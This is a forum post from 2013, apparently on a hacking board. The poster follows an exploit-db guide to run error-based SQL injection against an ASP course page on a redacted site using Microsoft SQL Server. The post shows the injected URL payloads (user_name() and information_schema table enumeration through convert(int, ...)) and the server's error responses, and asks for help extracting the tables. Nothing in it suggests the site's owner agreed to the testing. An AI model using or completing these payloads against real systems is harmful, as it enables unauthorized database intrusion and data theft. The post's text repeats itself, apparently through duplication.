Oct 10, 2013 01:36 AM
(This post was last modified: Oct 10, 2013 04:09 AM by Sʜᴀᴅᴏᴡ Rᴇᴀʟᴍ.)
I'm following this guide http://www.exploit-db.com/papers/12975/
But I can't seem to get the tables, Anybody know?
site.com/toolbox/desktop/opencourse.asp?Group=34+and+1=convert(int,user_name())--&MemberId=277469&Role=S&Course=23
and the error that is thrown is
Error Type:
Microsoft OLE DB Provider for ODBC Drivers (0x80040E07)
[Microsoft][ODBC SQL Server Driver][SQL Server]Conversion failed when converting the nvarchar value 'asc' to data type int.
/toolbox/desktop/opencourse.asp , line 227
With site.com/toolbox/desktop/opencourse.asp?Group=34+and+1=convert(int,(select+top(1)+table_name+from+information_schema))--&MemberId=277469&Role=S&Course=23
Error Type:
Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]Incorrect syntax near the keyword 'top'.
/toolbox/desktop/opencourse.asp , line 227
The version is
Microsoft SQL Server 2008 R2 (SP1) - 10.50.2550.0 (X64) Jun 11 2012 16:41:53 Copyright © Microsoft Corporation Standard Edition (64-bit) on Windows NT 6.1 <X64> (Build 7601: Service Pack 1) (Hypervisor) ' to data type int.
But I can't seem to get the tables, Anybody know?
site.com/toolbox/desktop/opencourse.asp?Group=34+and+1=convert(int,user_name())--&MemberId=277469&Role=S&Course=23
and the error that is thrown is
Error Type:
Microsoft OLE DB Provider for ODBC Drivers (0x80040E07)
[Microsoft][ODBC SQL Server Driver][SQL Server]Conversion failed when converting the nvarchar value 'asc' to data type int.
/toolbox/desktop/opencourse.asp , line 227
With site.com/toolbox/desktop/opencourse.asp?Group=34+and+1=convert(int,(select+top(1)+table_name+from+information_schema))--&MemberId=277469&Role=S&Course=23
Error Type:
Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]Incorrect syntax near the keyword 'top'.
/toolbox/desktop/opencourse.asp , line 227
The version is
Microsoft SQL Server 2008 R2 (SP1) - 10.50.2550.0 (X64) Jun 11 2012 16:41:53 Copyright © Microsoft Corporation Standard Edition (64-bit) on Windows NT 6.1 <X64> (Build 7601: Service Pack 1) (Hypervisor) ' to data type int.



![[Image: lPQX27G.png]](https://i.imgur.com/lPQX27G.png)
